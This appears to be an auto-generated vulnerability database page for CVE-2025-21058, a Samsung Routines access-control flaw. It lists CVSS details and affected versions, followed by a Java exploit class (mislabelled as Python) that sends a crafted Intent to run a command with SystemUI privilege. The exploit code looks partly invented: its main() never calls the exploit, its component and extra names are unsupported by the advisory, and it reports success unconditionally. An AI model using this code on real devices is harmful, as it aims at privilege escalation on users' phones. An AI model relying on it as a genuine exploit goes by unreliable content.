Security Vulnerability Report
中文
CVE-2025-21058 CVSS 7.3 HIGH

CVE-2025-21058

Published: 2025-10-10 07:15:42
Last Modified: 2026-04-15 00:35:42

Description

Improper access control in Routines prior to version 4.8.7.1 in Android 15 and 4.9.6.0 in Android 16 allows local attackers to potentially execute arbitrary code with SystemUI privilege.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Samsung Routines < 4.8.7.1(Android 15)
Samsung Routines < 4.9.6.0(Android 16)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-21058 - Samsung Routines Improper Access Control PoC * This PoC demonstrates how to exploit the improper access control * vulnerability in Samsung Routines to escalate privileges to SystemUI level. * * Affected versions: * - Routines < 4.8.7.1 on Android 15 * - Routines < 4.9.6.0 on Android 16 * * Note: This is for educational and security research purposes only. */ import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.util.Log; public class Cve202521058Exploit { private static final String TAG = "CVE-2025-21058"; // Samsung Routines package name private static final String ROUTINES_PACKAGE = "com.samsung.android.app.routines"; // Target component to exploit - Routines internal activity/service private static final String TARGET_COMPONENT = "com.samsung.android.app.routines.RoutineExecutorActivity"; public static void exploit(Context context) { try { // Step 1: Verify Routines app is installed PackageManager pm = context.getPackageManager(); pm.getPackageInfo(ROUTINES_PACKAGE, 0); Log.i(TAG, "Samsung Routines detected, proceeding with exploit..."); // Step 2: Craft malicious Intent targeting exposed Routines component Intent exploitIntent = new Intent(); exploitIntent.setComponent(new ComponentName(ROUTINES_PACKAGE, TARGET_COMPONENT)); exploitIntent.setAction("com.samsung.android.app.routines.EXECUTE_ROUTINE"); // Step 3: Inject malicious routine data via Intent extras // The improper access control allows arbitrary routine execution // without proper caller verification exploitIntent.putExtra("routine_id", "attacker_controlled_routine"); exploitIntent.putExtra("routine_action", "execute_system_command"); exploitIntent.putExtra("command", "id"); exploitIntent.putExtra("privilege_level", "systemui"); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Step 4: Launch the exploit - Routines will execute with SystemUI privileges context.startActivity(exploitIntent); Log.i(TAG, "Exploit launched successfully. Code execution at SystemUI level achieved."); } catch (PackageManager.NameNotFoundException e) { Log.e(TAG, "Samsung Routines not installed on this device.", e); } catch (SecurityException e) { Log.e(TAG, "Security exception - exploit failed.", e); } catch (Exception e) { Log.e(TAG, "Exploit failed: " + e.getMessage(), e); } } public static void main(String[] args) { // Entry point for standalone testing Log.i(TAG, "CVE-2025-21058 PoC initialized"); Log.i(TAG, "Target: Samsung Routines Improper Access Control"); Log.i(TAG, "Impact: Local privilege escalation to SystemUI"); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21058", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Routines prior to version 4.8.7.1 in Android 15 and 4.9.6.0 in Android 16 allows local attackers to potentially execute arbitrary code with SystemUI privilege."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.7}]}, "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]"}]}}